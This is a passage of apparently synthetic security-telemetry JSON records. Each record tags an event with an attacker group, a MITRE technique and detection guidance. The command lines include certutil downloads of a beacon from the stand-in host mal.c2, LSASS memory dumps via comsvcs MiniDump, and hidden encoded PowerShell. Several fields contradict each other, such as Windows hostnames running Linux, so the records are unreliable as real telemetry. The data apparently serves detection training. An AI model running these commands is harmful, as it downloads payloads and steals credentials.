(DS0017)","timestamp":"2026-01-03T12:38:18.000Z","user":{"name":"i-r2ffazqlvpvd","sid":"S-1-5-21-305143324-257267684-5414"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1566.001 using LOLBin technique.","sub_technique":"Phishing: Spearphishing Attachment","tactic":["Exfiltration","Persistence"],"technique_id":"T1566.001"},"event_id":"evt_mustangpanda_20260504T180752000Z_0009345","ground_truth":{"detection_guidance":"Sigma rule for T1566.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.145.66.182","name":"WIN-FIN-SRV-AMPN4PMS5E","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9345Mustang PandaT1566.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.10.213.219","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"powershell.exe","parent_name":"svchost.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2025-03-12T18:30:26.000Z","user":{"name":"svc_uokaffnavxfr","sid":"S-1-5-21-971455859-478213888-8405"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Discovery","Command and Control","Privilege Escalation"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20261230T220230000Z_0009347","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Prelude"},"host":{"ip":"10.197.235.7","name":"AZURE-VM-5Q4TY8LNKK","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9347APT41T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.164.209.163","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-02-04T08:52:42.000Z","user":{"name":"arn:aws:iam::ap8rs4zqyiu0","sid":"S-1-5-21-611242718-559630340-3378"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Discovery"],"technique_id":"T1570"},"event_id":"evt_apt29_20250701T150512000Z_0009349","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.239.212.10","name":"WIN-FIN-SRV-FBDGKOQS8H","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9349APT29T1570"},"network":{"domain":"github.com","dst_ip":"1.48.95.254","dst_port":445,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-10-03T02:03:35.000Z","user":{"name":"CORP\\g9dr8y2pzy2k","sid":"S-1-5-21-345614109-127118610-1009"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Persistence"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20260628T164954000Z_0009351","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","Fileless","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.156.63.143","name":"EC2-INST-GVT2BUKR5W","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9351FIN7T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.10.143.20","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 2554 C:\\temp\\lsass.dmp full","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-03-16T08:47:21.000Z","user":{"name":"svc_fj1iko0j2fca","sid":"S-1-5-21-701369041-502613757-2504"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1546.003 using cloud-native technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Credential Access","Exfiltration","Lateral Movement"],"technique_id":"T1546.003"},"event_id":"evt_fin7_20260912T014459000Z_0009353","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["WMI","Base64","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.253.231.116","name":"APP-WEB-J8PTJWDS1A","os":"Windows 11"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9353FIN7T1546.003"},"network":{"domain":"cdn-content.com","dst_ip":"1.48.44.104","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2026-07-21T17:17:44.000Z","user":{"name":"azuread\\pwnsoc4icw65","sid":"S-1-5-21-145863002-401917704-5524"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1021.006 using fileless technique.","sub_technique":"Windows Remote Management","tactic":["Lateral Movement","Credential Access"],"technique_id":"T1021.006"},"event_id":"evt_volttyphoon_20260701T184126000Z_0009355","ground_truth":{"detection_guidance":"Sigma rule for T1021.006 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Base64","WMI"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.136.241.234","name":"WIN-FIN-SRV-OUWI0RKZC8","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9355Volt TyphoonT1021.006"},"network":{"domain":"update.microsoft.com","dst_ip":"1.7.182.160","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-09-04T06:45:50.000Z","user":{"name":"svc_smm2tq20p6hk","sid":"S-1-5-21-563173217-280493062-2445"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Privilege Escalation","Execution","Defense Evasion"],"technique_id":"T1059.001"},"event_id":"evt_lapsus_20260816T202244000Z_0009357","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["LOLBin","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.233.230.94","name":"IAM-ROLE-Q0I0HG8M0K","os":"Windows Server 2022"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9357Lapsus$T1059.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.139.252.240","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-06-02T12:29:35.000Z","user":{"name":"CORP\\xw4fu4ouq8rp","sid":"S-1-5-21-732301660-502209587-3457"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1059.001 using cloud-native technique.","sub_technique":"PowerShell","tactic":["Privilege Escalation","Persistence"],"technique_id":"T1059.001"},"event_id":"evt_apt41_20250605T013844000Z_0009359","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["TLS","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.90.230.50","name":"IAM-ROLE-ROX12H82PU","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9359APT41T1059.001"},"network":{"domain":"aws.amazon.com","dst_ip":"1.112.124.186","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"wmic.exe","parent_name":"services.exe"},"source":"Windows Security Log","timestamp":"2025-05-07T20:33:23.000Z","user":{"name":"azuread\\lyf1rpvxklqe","sid":"S-1-5-21-870726737-920620685-3919"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1570 using cloud-native technique.","sub_technique":"Lateral Tool Transfer","tactic":["Collection"],"technique_id":"T1570"},"event_id":"evt_apt29_20260324T063923000Z_0009361","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","Base64","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.15.55.24","name":"EC2-INST-95JIWEZLIQ","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9361APT29T1570"},"network":{"domain":"update.microsoft.com","dst_ip":"1.130.246.214","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"rundll32.exe","parent_name":"services.exe"},"source":"CloudTrail (DS0028)","timestamp":"2025-07-27T16:18:19.000Z","user":{"name":"svc_mlhrjeq6jiml","sid":"S-1-5-21-315249404-699935023-1237"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Reconnaissance","Defense Evasion"],"technique_id":"T1071.001"},"event_id":"evt_volttyphoon_20250602T110819000Z_0009363","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","WMI","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.246.191.211","name":"APP-WEB-Z4RMAVK3EV","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9363Volt TyphoonT1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.36.162.207","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-07-05T16:12:36.000Z","user":{"name":"azuread\\zdhkkoeeez38","sid":"S-1-5-21-728362315-868050012-1341"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Defense Evasion","Exfiltration","Privilege Escalation"],"technique_id":"T1484.001"},"event_id":"evt_scatteredspider_20261207T153539000Z_0009365","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.232.251.216","name":"EC2-INST-NTQ75PII02","os":"Amazon Linux 2"},"impact":{"business_risk":"Data exfiltration channel open","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9365Scattered SpiderT1484.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.165.42.152","dst_port":5985,"protocol":"HTTP/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3433 C:\\temp\\lsass.dmp full","name":"mshta.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-06-19T16:36:02.000Z","user":{"name":"CORP\\y68kfntdzs37","sid":"S-1-5-21-452086393-858291342-5150"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1071.001 using cloud-native technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Discovery"],"technique_id":"T1071.001"},"event_id":"evt_mustangpanda_20260612T085440000Z_0009367","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.209.209.85","name":"EC2-INST-8FKSRT4VI2","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9367Mustang PandaT1071.001"},"network":{"domain":"cdn-content.com","dst_ip":"1.186.236.45","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 1213 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"services.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-03-20T10:02:12.000Z","user":{"name":"svc_wffp4gd1sagl","sid":"S-1-5-21-587673056-712568254-9981"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1570 using LOLBin technique.","sub_technique":"Lateral Tool Transfer","tactic":["Exfiltration","Initial Access","Credential Access"],"technique_id":"T1570"},"event_id":"evt_unc4841_20260522T080244000Z_0009369","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["Fileless","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.84.62.197","name":"APP-WEB-3CJTBL33PD","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9369UNC4841T1570"},"network":{"domain":"aws.amazon.com","dst_ip":"1.51.103.56","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"powershell.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-02-04T11:02:01.000Z","user":{"name":"i-8lf0uplrmtjk","sid":"S-1-5-21-223926121-803651240-7097"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1570 using encrypted C2 technique.","sub_technique":"Lateral Tool Transfer","tactic":["Credential Access","Reconnaissance","Defense Evasion"],"technique_id":"T1570"},"event_id":"evt_lapsus_20260211T152739000Z_0009371","ground_truth":{"detection_guidance":"Sigma rule for T1570 | Join on src_ip within 10m","evasion_used":["WMI","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.105.119.163","name":"AZURE-VM-AXX6MKOEVE","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9371Lapsus$T1570"},"network":{"domain":"cdn-content.com","dst_ip":"1.63.89.203","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"cmstp.exe","parent_name":"explorer.exe"},"source":"PowerShell Logging (DS0017)","timestamp":"2026-01-25T02:35:55.000Z","user":{"name":"svc_o4p3u6ne6sz0","sid":"S-1-5-21-945528222-304358467-6552"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1071.001 using fileless technique.","sub_technique":"Web Protocols (HTTPS C2)","tactic":["Discovery"],"technique_id":"T1071.001"},"event_id":"evt_lapsus_20250212T211809000Z_0009373","ground_truth":{"detection_guidance":"Sigma rule for T1071.001 | Join on src_ip within 10m","evasion_used":["LOLBin","TLS","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.167.173.60","name":"EC2-INST-F9RUSQZMFT","os":"Amazon Linux 2"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9373Lapsus$T1071.001"},"network":{"domain":"update.microsoft.com","dst_ip":"1.155.137.82","dst_port":443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"cmstp.exe","parent_name":"winlogon.exe"},"source":"Windows Security Log","timestamp":"2026-07-16T11:59:17.000Z","user":{"name":"svc_1ff3tpovdwlw","sid":"S-1-5-21-158922614-632437553-7382"}}
{"attack":{"actor":"Scattered Spider","confidence":1.0,"description":"[Scattered Spider] performed T1098.004 using cloud-native technique.","sub_technique":"SSH Authorized Keys","tactic":["Command and Control","Impact","Privilege Escalation"],"technique_id":"T1098.004"},"event_id":"evt_scatteredspider_20251029T195715000Z_0009375","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["TLS","LOLBin","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.22.50.19","name":"AZURE-VM-3U5ADGCZS6","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9375Scattered SpiderT1098.004"},"network":{"domain":"github.com","dst_ip":"1.102.214.128","dst_port":443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-01-02T20:38:14.000Z","user":{"name":"i-7x22sv26v27m","sid":"S-1-5-21-944340891-167638231-1200"}}
{"attack":{"actor":"Volt Typhoon","confidence":1.0,"description":"[Volt Typhoon] performed T1546.003 using encrypted C2 technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Collection","Impact"],"technique_id":"T1546.003"},"event_id":"evt_volttyphoon_20260520T045840000Z_0009377","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Fileless","WMI","JA3 Spoof"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.110.119.57","name":"AZURE-VM-YM2P030NCV","os":"Ubuntu 22.04"},"impact":{"business_risk":"Data exfiltration channel open","severity":"Extreme"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9377Volt TyphoonT1546.003"},"network":{"domain":"aws.amazon.com","dst_ip":"1.69.156.126","dst_port":445,"protocol":"HTTP/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"wmic.exe","parent_name":"svchost.exe"},"source":"CloudTrail (DS0028)","timestamp":"2026-05-06T02:34:33.000Z","user":{"name":"i-cdkgg31sg073","sid":"S-1-5-21-816944729-157611558-5469"}}
{"attack":{"actor":"Mustang Panda","confidence":1.0,"description":"[Mustang Panda] performed T1098.004 using LOLBin technique.","sub_technique":"SSH Authorized Keys","tactic":["Privilege Escalation","Collection","Impact"],"technique_id":"T1098.004"},"event_id":"evt_mustangpanda_20261021T012724000Z_0009379","ground_truth":{"detection_guidance":"Sigma rule for T1098.004 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.151.231.149","name":"IAM-ROLE-SH93RGYU5T","os":"Ubuntu 22.04"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9379Mustang PandaT1098.004"},"network":{"domain":"cdn-content.com","dst_ip":"1.170.69.238","dst_port":5985,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc JABkACAALQBlAH...","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-05-16T04:05:09.000Z","user":{"name":"i-3h9j9ip2tzap","sid":"S-1-5-21-810242085-147751906-4247"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1484.001 using encrypted C2 technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Execution","Impact","Exfiltration"],"technique_id":"T1484.001"},"event_id":"evt_unc4841_20260603T013050000Z_0009381","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["WMI","Base64","Fileless"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.92.2.4","name":"DB-ORACLE-7KNCFY3YLB","os":"Windows 11"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9381UNC4841T1484.001"},"network":{"domain":"github.com","dst_ip":"1.21.157.78","dst_port":3389,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc aWV4IChOZXctT2JqZWN0IE5ldC...","name":"wmic.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-06-18T08:57:18.000Z","user":{"name":"azuread\\79us6qn1b5qt","sid":"S-1-5-21-328162182-908967705-2734"}}
{"attack":{"actor":"APT41","confidence":1.0,"description":"[APT41] performed T1546.003 using fileless technique.","sub_technique":"Event Triggered Execution: WMI Event Subscription","tactic":["Privilege Escalation","Execution"],"technique_id":"T1546.003"},"event_id":"evt_apt41_20260827T062422000Z_0009383","ground_truth":{"detection_guidance":"Sigma rule for T1546.003 | Join on src_ip within 10m","evasion_used":["Base64","LOLBin","TLS"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.179.188.75","name":"DB-ORACLE-2F7NYKADEQ","os":"Windows 11"},"impact":{"business_risk":"Long-term persistence achieved","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9383APT41T1546.003"},"network":{"domain":"update.microsoft.com","dst_ip":"1.71.49.231","dst_port":8443,"protocol":"HTTP/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"certutil.exe","parent_name":"svchost.exe"},"source":"Azure AD Sign-in Logs","timestamp":"2025-12-27T18:11:31.000Z","user":{"name":"i-mga3088l3xjr","sid":"S-1-5-21-297766560-764931969-5092"}}
{"attack":{"actor":"Lapsus$","confidence":1.0,"description":"[Lapsus$] performed T1484.001 using LOLBin technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Discovery","Collection"],"technique_id":"T1484.001"},"event_id":"evt_lapsus_20251222T172229000Z_0009385","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Atomic Red Team"},"host":{"ip":"10.53.195.144","name":"IAM-ROLE-2TQF89WJD5","os":"Ubuntu 22.04"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9385Lapsus$T1484.001"},"network":{"domain":"github.com","dst_ip":"1.180.26.60","dst_port":5985,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin beacon.dll","name":"mshta.exe","parent_name":"explorer.exe"},"source":"Network Connection (DS0029)","timestamp":"2025-02-20T15:13:02.000Z","user":{"name":"i-7kerx8i04vhg","sid":"S-1-5-21-367661445-915415336-7133"}}
{"attack":{"actor":"FIN7","confidence":1.0,"description":"[FIN7] performed T1059.001 using encrypted C2 technique.","sub_technique":"PowerShell","tactic":["Persistence","Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_fin7_20260120T204034000Z_0009387","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","JA3 Spoof","Base64"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"BloodHound"},"host":{"ip":"10.88.34.247","name":"WIN-FIN-SRV-1CPSJ8322K","os":"Windows Server 2022"},"impact":{"business_risk":"Domain dominance","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9387FIN7T1059.001"},"network":{"domain":"github.com","dst_ip":"1.22.208.97","dst_port":8443,"protocol":"TLSv1.2/TCP"},"process":{"cmdline":"powershell.exe -nop -w hidden -enc UQBvAHcAZQByAFMAaABlAGwAbAAgAC0A...","name":"rundll32.exe","parent_name":"winlogon.exe"},"source":"Sysmon (DS0024)","timestamp":"2026-09-26T05:28:43.000Z","user":{"name":"CORP\\gz3zxv6ffloi","sid":"S-1-5-21-523220249-209606905-9690"}}
{"attack":{"actor":"APT29","confidence":1.0,"description":"[APT29] performed T1484.001 using fileless technique.","sub_technique":"Domain Policy Modification: Group Policy Modification","tactic":["Command and Control","Execution","Reconnaissance"],"technique_id":"T1484.001"},"event_id":"evt_apt29_20251021T024711000Z_0009389","ground_truth":{"detection_guidance":"Sigma rule for T1484.001 | Join on src_ip within 10m","evasion_used":["JA3 Spoof","Fileless","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Stratus Red Team"},"host":{"ip":"10.170.208.122","name":"DB-ORACLE-1NRBDRTFE1","os":"Windows Server 2022"},"impact":{"business_risk":"Long-term persistence achieved","severity":"Critical"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9389APT29T1484.001"},"network":{"domain":"github.com","dst_ip":"1.134.100.208","dst_port":8443,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"rundll32.exe comsvcs.dll, MiniDump 3371 C:\\temp\\lsass.dmp full","name":"certutil.exe","parent_name":"services.exe"},"source":"Sysmon (DS0024)","timestamp":"2025-11-11T10:25:02.000Z","user":{"name":"CORP\\7tasj9fqvxvj","sid":"S-1-5-21-333952536-860315677-2666"}}
{"attack":{"actor":"UNC4841","confidence":1.0,"description":"[UNC4841] performed T1059.001 using LOLBin technique.","sub_technique":"PowerShell","tactic":["Reconnaissance","Privilege Escalation","Command and Control"],"technique_id":"T1059.001"},"event_id":"evt_unc4841_20250621T143155000Z_0009391","ground_truth":{"detection_guidance":"Sigma rule for T1059.001 | Join on src_ip within 10m","evasion_used":["Fileless","TLS","LOLBin"],"mitre_eval_step":"MITRE 2025\u20132026 Evaluation","simulation_tool":"Caldera"},"host":{"ip":"10.111.238.187","name":"DB-ORACLE-10BERQWSXW","os":"Amazon Linux 2"},"impact":{"business_risk":"Cloud environment takeover","severity":"High"},"metadata":{"dataset":"Elite Unlimited Commercial Dataset 2025+","generator_version":"v2.1 (Fixed & Stable)","variation_seed":"9391UNC4841T1059.001"},"network":{"domain":"github.com","dst_ip":"1.57.175.11","dst_port":3389,"protocol":"TLSv1.3/TCP"},"process":{"cmdline":"certutil.exe -urlcache -split -f https://mal.c2/beacon.bin 